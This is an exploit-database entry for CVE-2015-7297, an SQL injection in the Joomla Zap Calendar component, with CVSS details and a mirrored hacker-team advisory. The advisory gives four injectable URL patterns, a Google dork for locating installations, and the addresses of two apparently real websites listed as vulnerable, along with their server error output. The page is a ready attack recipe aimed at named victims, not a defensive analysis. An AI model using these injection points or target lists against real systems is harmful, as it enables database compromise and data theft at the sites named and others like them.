Exploitalert - Database of Exploits

Joomla ZCalendar Zap Calendar 4.4.0 SQL Injection

CVE	Category	Price	Severity
CVE-2015-7297	CWE-89	$1000	High

Author	Risk	Exploitation Type	Date
K,	High	Remote	2019-02-14

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2019020135

Joomla ZCalendar Zap Calendar 4.4.0 SQL Injection

#################################################################### # Exploit Title : Joomla ZCalendar Zap Calendar 4.4.0 SQL Injection # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 13/02/2019 # Vendor Homepage : zcontent.net - zapcalendar.com # Software Download Link : zcontent.net/products/subscriptions # Software Information Link : extensions.joomla.org/extension/zap-calendar/ zcontent.net/support/zapcalendar/ # Software Version : 3 and 4 - 4.4.0 and previous versions. + Zap Calendar 4 is compatible only with Joomla version 3.x. + Zap Calendar 3 is compatible with Joomla versions 1.5, 1.6, 1.7 and 2.5. # Software Price : 49$ - 99$ - 139$ # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Google Dorks : inurl:''/index.php?option=com_zcalendar'' # Vulnerability Type : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos # Reference Link : packetstormsecurity.com/files/151627/Joomla-ZCalendar-Zap-Calendar-4.4.0-SQL-Injection.html #################################################################### # Description about Software : *************************** Zap Calendar is an advanced, native Joomla calendar featuring AJAX, RSS and full iCalendar support. There are dozens of add-ons available for Zap Calendar, making it a full-featured calendaring system for Joomla websites. #################################################################### # Impact : *********** * Joomla ZCalendar Zap Calendar 4.4.0 and other versions - component for Joomla is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. A remote attacker can send a specially crafted request to the vulnerable application and execute arbitrary SQL commands in application`s database. Further exploitation of this vulnerability may result in unauthorized data manipulation. An attacker can exploit this issue using a browser. #################################################################### # SQL Injection Exploit : ********************** /index.php?option=com_zcalendar&task=view&vmode=e&eid=[SQL Injection] /index.php?view=calendar&viewid=[ID-NUMBER]&format=html&Itemid=[ID-NUMBER]&option=com_zcalendar&ajax=[SQL Injection]&tmpl=zcalendar&vmode=m /index.php?option=com_zcalendar&Itemid=&ajax=[ID-NUMBER]&ctype=d&date=[YEAR]-[MONTH]-[DAY]&format=raw&id=[ID-NUMBER]&lang=en&limitstart=[SQL Injection]&view=calendar /index.php?cat=[ID-NUMBER]&cat=[ID-NUMBER]&cat=[ID-NUMBER]&cat=[ID-NUMBER]&cat=[ID-NUMBER]&cat=[ID-NUMBER]&cat=[ID-NUMBER]&cat=[ID-NUMBER]&cat=[ID-NUMBER]&allcatmatch=[ID-NUMBER]&vmode=w&viewid=[ID-NUMBER]&view=calendar&date=[YEAR]-[MONTH]-[DAY]&format=html&Itemid=ID-NUMBER]&option=com_zcalendar&viewid=[SQL Injection] #################################################################### # Example Vulnerable Sites : ************************* [+] stdominicschool.net/index.php?view=calendar&viewid=1&format= html&Itemid=215&option=com_zcalendar&ajax=1&tmpl=zcalendar&vmode=m [+] mail.hbaofmidga.com/index.php?cat=1&cat=2&cat=3&cat=5&cat=6&cat=7&cat=8&cat=9 &cat=10&allcatmatch=0&vmode=w&viewid=1&view=calendar &date=2003-07-06&format=html&Itemid=117&option=com_zcalendar&viewid=1 #################################################################### # Example SQL Database Error : **************************** Warning: Creating default object from empty value in /home4/stdom/public_html/libraries/joomla/registry/registry.php on line 421 Deprecated: Non-static method JSite::getMenu() should not be called statically, assuming $this from incompatible context in /home/hbaadmin /public_html/components/com_zcalendar/views/calendar/view.html.php on line 112 #################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ####################################################################

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